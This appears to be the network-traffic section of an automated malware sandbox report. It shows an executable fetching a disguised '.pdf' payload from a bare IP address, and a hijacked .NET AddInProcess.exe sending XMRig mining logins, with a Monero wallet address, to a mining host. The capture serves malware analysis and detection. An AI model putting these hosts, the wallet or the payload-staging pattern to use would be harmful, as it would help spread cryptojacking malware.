Oct 8, 2024 02:42:55.042340994 CEST	64511	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.070514917 CEST	64511	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.075686932 CEST	17370	64511	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.075773954 CEST	64511	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.080769062 CEST	17370	64511	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.776413918 CEST	17370	64511	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.776597023 CEST	64511	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.781624079 CEST	64511	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.786612988 CEST	17370	64511	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.896536112 CEST	64512	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.901985884 CEST	17370	64512	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.902102947 CEST	64512	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.917042017 CEST	64512	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.922369003 CEST	17370	64512	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.922487974 CEST	64512	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.927452087 CEST	17370	64512	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:56.606908083 CEST	17370	64512	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:56.607124090 CEST	64512	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:56.607232094 CEST	64512	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:56.612217903 CEST	17370	64512	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:56.724508047 CEST	64513	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:56.730540037 CEST	17370	64513	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:56.730644941 CEST	64513	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:56.751578093 CEST	64513	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:56.756650925 CEST	17370	64513	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:56.756752014 CEST	64513	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:56.761656046 CEST	17370	64513	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:57.755254030 CEST	17370	64513	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:57.755429983 CEST	64513	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:57.755575895 CEST	64513	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:57.761356115 CEST	17370	64513	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:57.865154028 CEST	64514	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:57.870347977 CEST	17370	64514	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:57.870574951 CEST	64514	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:57.970860958 CEST	64514	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:57.975949049 CEST	17370	64514	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:57.976121902 CEST	64514	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:57.981173038 CEST	17370	64514	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:58.676831961 CEST	17370	64514	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:58.677026033 CEST	64514	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:58.677105904 CEST	64514	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:58.682087898 CEST	17370	64514	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:58.787003040 CEST	64515	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:58.792814970 CEST	17370	64515	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:58.792902946 CEST	64515	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:58.821721077 CEST	64515	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:58.826812029 CEST	17370	64515	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:58.826888084 CEST	64515	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:58.831828117 CEST	17370	64515	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:59.507618904 CEST	17370	64515	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:59.507711887 CEST	64515	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:59.507798910 CEST	64515	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:59.512917042 CEST	17370	64515	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:59.615034103 CEST	64516	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:59.620224953 CEST	17370	64516	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:59.620348930 CEST	64516	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:59.650862932 CEST	64516	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:59.655870914 CEST	17370	64516	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:59.655939102 CEST	64516	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:59.660900116 CEST	17370	64516	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:00.361330032 CEST	17370	64516	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:00.361393929 CEST	64516	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:00.361504078 CEST	64516	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:00.366425991 CEST	17370	64516	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:00.474484921 CEST	64517	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:00.479559898 CEST	17370	64517	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:00.479643106 CEST	64517	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:00.511241913 CEST	64517	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:00.516180992 CEST	17370	64517	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:00.516248941 CEST	64517	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:00.521176100 CEST	17370	64517	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:01.233573914 CEST	17370	64517	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:01.233803988 CEST	64517	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:01.235893011 CEST	64517	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:01.240827084 CEST	17370	64517	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:01.349637032 CEST	64518	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:01.354654074 CEST	17370	64518	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:01.354732037 CEST	64518	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:01.524665117 CEST	64518	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:01.529778004 CEST	17370	64518	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:01.529850006 CEST	64518	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:01.534706116 CEST	17370	64518	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.063553095 CEST	17370	64518	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.063642025 CEST	64518	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.063750982 CEST	64518	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.068609953 CEST	17370	64518	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.177562952 CEST	64519	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.182725906 CEST	17370	64519	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.182816029 CEST	64519	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.217736959 CEST	64519	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.222686052 CEST	17370	64519	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.222774029 CEST	64519	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.227689028 CEST	17370	64519	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.909699917 CEST	17370	64519	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:02.909888029 CEST	64519	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.910092115 CEST	64519	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:02.914896965 CEST	17370	64519	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:03.021400928 CEST	64520	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:03.026515007 CEST	17370	64520	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:03.026604891 CEST	64520	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:03.095659971 CEST	64520	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:03.101136923 CEST	17370	64520	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:03.101325989 CEST	64520	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:03.106632948 CEST	17370	64520	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:03.736645937 CEST	17370	64520	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:03.736841917 CEST	64520	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:03.738972902 CEST	64520	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:03.743799925 CEST	17370	64520	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:04.116799116 CEST	64521	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:04.121999979 CEST	17370	64521	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:04.122076988 CEST	64521	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:04.483041048 CEST	64521	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:04.488097906 CEST	17370	64521	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:04.488177061 CEST	64521	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:04.493026018 CEST	17370	64521	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:05.193115950 CEST	17370	64521	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:05.193443060 CEST	64521	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:05.193443060 CEST	64521	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:05.198448896 CEST	17370	64521	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:05.302702904 CEST	64522	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:05.307920933 CEST	17370	64522	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:05.308062077 CEST	64522	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:05.331707954 CEST	64522	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:05.336766958 CEST	17370	64522	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:05.336841106 CEST	64522	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:05.341716051 CEST	17370	64522	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.027198076 CEST	17370	64522	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.027436972 CEST	64522	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:06.027515888 CEST	64522	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:06.032485008 CEST	17370	64522	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.130831957 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:06.136336088 CEST	17370	64523	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.136604071 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:06.171031952 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:06.176146030 CEST	17370	64523	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.176345110 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:06.181370974 CEST	17370	64523	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.873608112 CEST	17370	64523	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:06.873817921 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:21.636075974 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:21.943156004 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:22.020360947 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:43:22.021014929 CEST	17370	64523	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:22.021044970 CEST	17370	64523	213.152.162.15	192.168.2.4
Oct 8, 2024 02:43:22.021325111 CEST	64523	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:43:22.068252087 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:43:39.025275946 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:43:39.068250895 CEST	64012	80	192.168.2.4	51.222.111.116

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 02:39:16.471837044 CEST	51592	53	192.168.2.4	1.1.1.1
Oct 8, 2024 02:39:16.504400015 CEST	53	51592	1.1.1.1	192.168.2.4
Oct 8, 2024 02:39:20.061501980 CEST	53	53383	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 02:39:16.471837044 CEST	192.168.2.4	1.1.1.1	0x3c87	Standard query (0)	sck-dns.ws	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 02:39:16.504400015 CEST	1.1.1.1	192.168.2.4	0x3c87	No error (0)	sck-dns.ws		172.67.173.168	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:39:16.504400015 CEST	1.1.1.1	192.168.2.4	0x3c87	No error (0)	sck-dns.ws		104.21.80.31	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sck-dns.ws

31.13.224.51

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	31.13.224.51	80	6716	C:\Users\user\Desktop\2ngxhElaud.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 02:39:01.011354923 CEST	71	OUT	GET /Gxqui.pdf HTTP/1.1 Host: 31.13.224.51 Connection: Keep-Alive
Oct 8, 2024 02:39:01.620954990 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:39:01 GMT Content-Type: application/pdf Content-Length: 1578504 Last-Modified: Mon, 07 Oct 2024 22:51:19 GMT Connection: keep-alive ETag: "670465e7-181608" Accept-Ranges: bytes Data Raw: 26 ee 0d 35 e9 ef 45 35 79 ff 88 19 02 ae 73 89 28 e2 31 d6 c4 c3 99 3d 4e 67 9d 15 1d e4 32 fb 71 3f 76 fe 8a 61 02 b4 9e 07 fd ba 8f 0b 46 14 7c b0 2a 30 7f 59 81 e5 18 71 ba d6 26 76 f2 cb b8 b1 da 3b 90 13 30 11 41 6e 61 91 39 35 6b 6c 5b 5d d7 26 0f 3e 53 c9 7c f3 6c eb 7c 65 61 3f 8c 10 55 94 58 65 35 ae 11 07 50 db d0 5a 1f 92 f8 dc d7 55 97 5e b6 12 14 d0 b3 bc 41 b7 ef f0 a7 81 49 fb b1 fb 5e f8 5f 5d 8b 3c 9b 09 3c e8 d3 02 67 1e 85 98 8e af f0 c2 aa 5c 21 2a 06 a4 fa 9b 2a c9 9b f3 2b fc 8d 4c 51 48 63 3f 6e 72 32 3a f9 72 38 e2 ac 21 a7 61 ed d8 29 b4 53 6e fb 97 3f c7 74 91 3d fd 5a 9f 94 20 d2 73 15 c5 10 b8 a6 c1 d7 35 c9 b0 a3 09 a9 c6 2e 7b 15 ed b9 bc 21 10 54 b8 9a d9 bc 2e 3f d8 5e d2 57 d7 ee 83 bf a4 7f 7d 9e d7 c2 dd b4 50 03 ca 4f fe 7a 24 62 86 a2 dd 42 8d 26 ca 7f 23 48 94 f9 0a ca 62 51 f4 70 88 f1 27 70 ec 68 77 bf 73 97 ec 8a 36 ed e7 d3 31 ec e4 b7 44 d9 6f d3 10 40 72 de e7 29 94 63 8e 0a 53 64 5d a9 02 cc 98 d1 2d d8 fb ba c7 46 ca ac 5d 0b db 1e 0a 16 c2 35 7f 99 a9 [TRUNCATED] Data Ascii: &5E5ys(1=Ng2q?vaF\|0Yq&v;0Ana95kl[]&>S\|l\|ea?UXe5PZU^AI^_]<<g\!+LQHc?nr2:r8!a)Sn?t=Z s5.{!T.?^W}POz$bB&#HbQp'phws61Do@r)cSd]-F]5-tUVcFvrnH}uTD>2&I[:iuZA\Rx(Dnav=-.:^qOEj-<1Ey\ih<#hmR&MMRD%>n~ycp\|R/:RsD[u7;:7#zGrh6UXL6Pg"_QB_/ ud@h~7O\=oSAu8K[&Fy8!BOot>'>+<T6\|4C\|}I4E8@,INSLEAK?t:2znK-=0`luxVSPE8gpAu^k>oyM946F\|@S#@b4^zFq;(4"\vH9\|'l}Y_W"6)Az1Y qb'Q#5xUtZ'$j` bL\|^$6&RniDWM
Oct 8, 2024 02:39:01.621000051 CEST	1236	IN	Data Raw: fa ad 5c f4 99 4a f5 43 99 27 06 93 ab 59 b9 41 cf 80 68 a0 ce cd 7b 43 7d eb 70 d4 de f1 dc 7e b6 9d 50 c3 f9 a8 c3 e5 74 22 bb bb 15 cc ec 1c 2f 37 96 12 6e 35 9d 78 8a de 01 a1 87 44 ca cf b4 9e 38 28 36 26 e6 8a 8d a8 5d 61 42 de 08 aa db 9a Data Ascii: \JC'YAh{C}p~Pt"/7n5xD8(6&]aBo']lty%Oh]f-}z"~`6z=!8pF4!p@-W~702-_HpG<1D->4JzOa%lcc,cl%'w
Oct 8, 2024 02:39:01.621032953 CEST	1236	IN	Data Raw: 7e de 76 3e 8b 79 f5 d9 63 90 aa 3e 65 0c 77 4e 6c e7 46 c9 8d f2 65 38 9f cd c6 3b 17 a4 fb 74 87 51 e1 d3 12 c9 13 a1 ae 53 59 0d 8b 7f b3 b9 c1 fe 3a 6e 3a d0 58 d0 a6 62 19 45 9b 0f 06 51 5d e8 b7 09 2f 72 70 11 bd 68 37 6e 9c 54 3a ba 04 ba Data Ascii: ~v>yc>ewNlFe8;tQSY:n:XbEQ]/rph7nT:3M<{kK99}U)"3rtX&=dt4le!WL+t@68p8e*j$vkzg8Kc=]S/VD%j(WMB)8sVJ(>e4qkV29YH.<0HA
Oct 8, 2024 02:39:01.621064901 CEST	1236	IN	Data Raw: f5 f1 0b 05 7d 7a 51 f6 3b 04 ec 58 59 08 af de 06 d1 5b 40 0e d8 6c 18 ac 3a 27 bb 03 8e 52 d1 94 61 35 88 45 51 e5 e3 3f 4a 4b 89 32 52 aa 52 f1 11 e8 cf a6 37 41 32 be 12 2a 4c 08 9d 11 5b b2 d9 32 43 e6 f1 1f c4 83 d6 b9 5c 1e cf 67 c6 21 74 Data Ascii: }zQ;XY[@l:'Ra5EQ?JK2RR7A2L[2C\g!tLePL"o43xcO4&3{rJl?6mSOvd$q968rpBXxVxWR}C@dkDTA"}$1wg/In2:NBkQQ,D
Oct 8, 2024 02:39:01.621098042 CEST	1236	IN	Data Raw: be 9d 46 10 71 b5 ae 4e 3c c2 d7 93 c8 d5 1b 71 e6 21 f0 db cd a4 c5 a2 29 f5 81 40 cf 72 3b 6a 06 33 6d 12 d8 ec 2f ce 85 a3 c2 ee 4e 1a 38 d6 f4 45 22 5d 7c 0c 92 f9 a0 50 0c 45 5f 7c 2a 74 15 e6 a8 ba fc dd 3b 59 03 e3 d3 aa 0e 49 b3 00 a8 96 Data Ascii: FqN<q!)@r;j3m/N8E"]\|PE_\|t;YI{AZ%eyAm^7I~.\wnd@0Kh=0j{Jz9h=!pX8?kecIF:ug@}MTW,PPZ+4?
Oct 8, 2024 02:39:01.621166945 CEST	1236	IN	Data Raw: 40 9b 85 57 aa 1d 5e 81 7f c2 65 65 a4 03 01 0f b1 de 71 a1 5b 71 c6 73 7e 1d e7 54 91 8d ba c0 35 24 84 ed 55 91 2d 33 6c 03 49 b1 b0 95 e9 47 2d a2 a8 d4 ba 72 48 31 e6 70 5d 0e bf 4d f4 4e fe 7c ec ca 2a e6 6a f1 9f 41 e1 65 83 8c a7 2f 29 88 Data Ascii: @W^eeq[qs~T5$U-3lIG-rH1p]MN\|*jAe/)/!odkIqy# 69uo]Kj+N_0V{QPL6,C?{gE{wDOs=o\|W"mb}
Oct 8, 2024 02:39:01.621198893 CEST	1236	IN	Data Raw: 48 60 f9 47 2b c6 5e 16 81 80 ca 13 e6 e7 b8 c7 66 db be 4a 36 7a b7 f6 61 0a 1d 6c c2 8d 3c 92 11 60 45 d0 2f 2a ee dd 14 86 a7 fb c0 a6 af 17 f9 9f d8 26 c6 13 12 49 ee 81 cf 4c a7 ff 49 17 d1 87 f4 c0 d0 41 1e db fc 8a 31 35 2e 51 6e ea 0c 63 Data Ascii: H`G+^fJ6zal<`E/*&ILIA15.Qnc88ujTJ.jt.7oFY`7Uq+ZnpGA$-IBlt;X/fU(~LQR}'{Je<\|/tBb,P
Oct 8, 2024 02:39:01.621229887 CEST	1236	IN	Data Raw: 62 79 d6 1c 6c d6 77 dc 94 74 cf 51 f0 68 3f 64 eb e8 33 9e c7 8c b0 6d 24 af 5a 54 ab 4f 10 66 1c 16 3f ca f6 8c c2 14 21 b7 b5 af ee c7 d4 d0 67 87 13 b0 24 49 c7 c9 15 77 af f2 42 51 61 38 a9 ce 46 3e 85 48 08 27 9a ec 1f 15 ef d4 b6 e4 19 90 Data Ascii: bylwtQh?d3m$ZTOf?!g$IwBQa8F>H'wE9/P9\|lOZ?3J[7X}}QwJnvcK};37_ ZZE,e#/$kR\|vs#3,&`OAQWC
Oct 8, 2024 02:39:01.621263027 CEST	1224	IN	Data Raw: 63 1a 4b 5f 05 7a 84 3d 7e 03 70 b7 88 2f fc de 4e 68 26 e9 ae 18 53 31 3b d2 a4 45 ad 3b 3a dc aa 5b 05 f3 de 12 ee ad f0 11 6b bb 6c 79 11 1b e6 88 80 b1 79 c4 33 f3 b2 87 96 5c 6a 6e da 91 fc 35 06 4a ca e4 1f 7a 24 f2 2f 61 15 55 c0 16 fe a0 Data Ascii: cK_z=~p/Nh&S1;E;:[klyy3\jn5Jz$/aUka}/\.Qulk?xygSeNgm4W;0(r}%/.8z=vj<6TmpM]hK;'vqK$+;hjY
Oct 8, 2024 02:39:01.621299028 CEST	1236	IN	Data Raw: 9e 02 58 d5 e2 bf 7a 32 d3 a0 09 1d 9e 99 63 26 a4 81 76 9e 95 50 d9 a6 5e 1c 8f bf 85 6d 0f d7 30 70 c8 3a f6 a4 58 99 d1 e9 2b e0 43 03 d7 26 28 f5 e6 d8 21 17 2c f3 97 16 42 33 0f 89 87 eb 51 f2 38 45 5a bc bb c2 63 94 1b ff 12 a5 64 ee 22 d7 Data Ascii: Xz2c&vP^m0p:X+C&(!,B3Q8EZcd"Sm58pmzV7%Ez1mY1b>.ymS2%OM;]FE<\|\|n)'pNvo0?9pt6QVa+~c}H'
Oct 8, 2024 02:39:01.626296997 CEST	1236	IN	Data Raw: 8c 82 ff e2 d9 29 36 36 81 07 aa dc 54 5d 88 c5 5a 8c 4a 8f 44 77 2c eb bf 37 08 91 9d 8b ef b2 09 0f 31 2c b2 ce 27 f0 f7 bf 45 26 2f 85 20 22 1f 17 f3 9f b5 b1 6e 26 7f ab 02 9f f6 15 05 83 ff 6f 7a 48 a0 99 6a 66 b0 40 47 10 de 55 34 fe d9 f4 Data Ascii: )66T]ZJDw,71,'E&/ "n&ozHjf@GU4"z/YXz^myS7b~=jVf5&8}goDiIdY~lC57+0T80Pxzj4o!<)HGxtO{iq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	64012	51.222.111.116	80	4828	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 02:39:23.701921940 CEST	562	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 45 39 55 6b 54 46 71 41 4c 58 4e 68 32 6d 53 62 41 37 57 47 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x","pass":"x","agent":"XMRig/6.21.0 (Windows NT 10.0; Win64; x64) libuv/1.44.2 msvc/201
Oct 8, 2024 02:39:24.197259903 CEST	436	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 69 64 22 3a 31 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 32 35 34 38 35 32 30 36 30 36 36 30 32 37 32 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 Data Ascii: {"jsonrpc":"2.0","id":1,"error":null,"result":{"id":"254852060660272","job":{"blob":"1010bafe91b8069b2acaec06316b0f5e9cc193780182407b5d6e743abd340cb964f57e26def55e00000000ed06425f7d7a362238a00a430ad6c515e1675860f380847032ebf347e54484310d","job
Oct 8, 2024 02:39:26.973784924 CEST	386	IN	Data Raw: 7b 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 65 66 65 39 31 62 38 30 36 61 39 62 35 34 39 61 63 66 39 38 63 34 35 35 33 36 37 39 31 33 37 63 33 36 35 39 65 32 62 31 63 63 62 Data Ascii: {"method":"job","params":{"blob":"1010befe91b806a9b549acf98c4553679137c3659e2b1ccb19b939bfee2d1b6e24d155211aa9330000000097e28b4bd50ada382a2f459153288e2ad0a9dab3d0f5b3fe35b18ab8b4617aca02","job_id":"761625375039134","height":3254208,"seed_hash"
Oct 8, 2024 02:39:48.935471058 CEST	199	OUT	Data Raw: 7b 22 69 64 22 3a 32 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 73 75 62 6d 69 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 69 64 22 3a 22 32 35 34 38 35 32 30 36 30 36 36 30 32 37 32 22 2c 22 6a 6f 62 5f 69 64 Data Ascii: {"id":2,"jsonrpc":"2.0","method":"submit","params":{"id":"254852060660272","job_id":"761625375039134","nonce":"1e040000","result":"99ef3def7eefa725ad999e46392c41bbbdef9219e0a2213fea056d9391c71700"}}
Oct 8, 2024 02:39:49.060581923 CEST	63	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 69 64 22 3a 32 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 4f 4b 22 7d 7d 0a Data Ascii: {"jsonrpc":"2.0","id":2,"error":null,"result":{"status":"OK"}}
Oct 8, 2024 02:39:50.586103916 CEST	199	OUT	Data Raw: 7b 22 69 64 22 3a 33 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 73 75 62 6d 69 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 69 64 22 3a 22 32 35 34 38 35 32 30 36 30 36 36 30 32 37 32 22 2c 22 6a 6f 62 5f 69 64 Data Ascii: {"id":3,"jsonrpc":"2.0","method":"submit","params":{"id":"254852060660272","job_id":"761625375039134","nonce":"f7060000","result":"b9e8a7659d814b6405a40f6f658c350628e0f31717cbd80a7bfed9b56f2b0c00"}}
Oct 8, 2024 02:39:50.688721895 CEST	63	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 69 64 22 3a 33 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 4f 4b 22 7d 7d 0a Data Ascii: {"jsonrpc":"2.0","id":3,"error":null,"result":{"status":"OK"}}
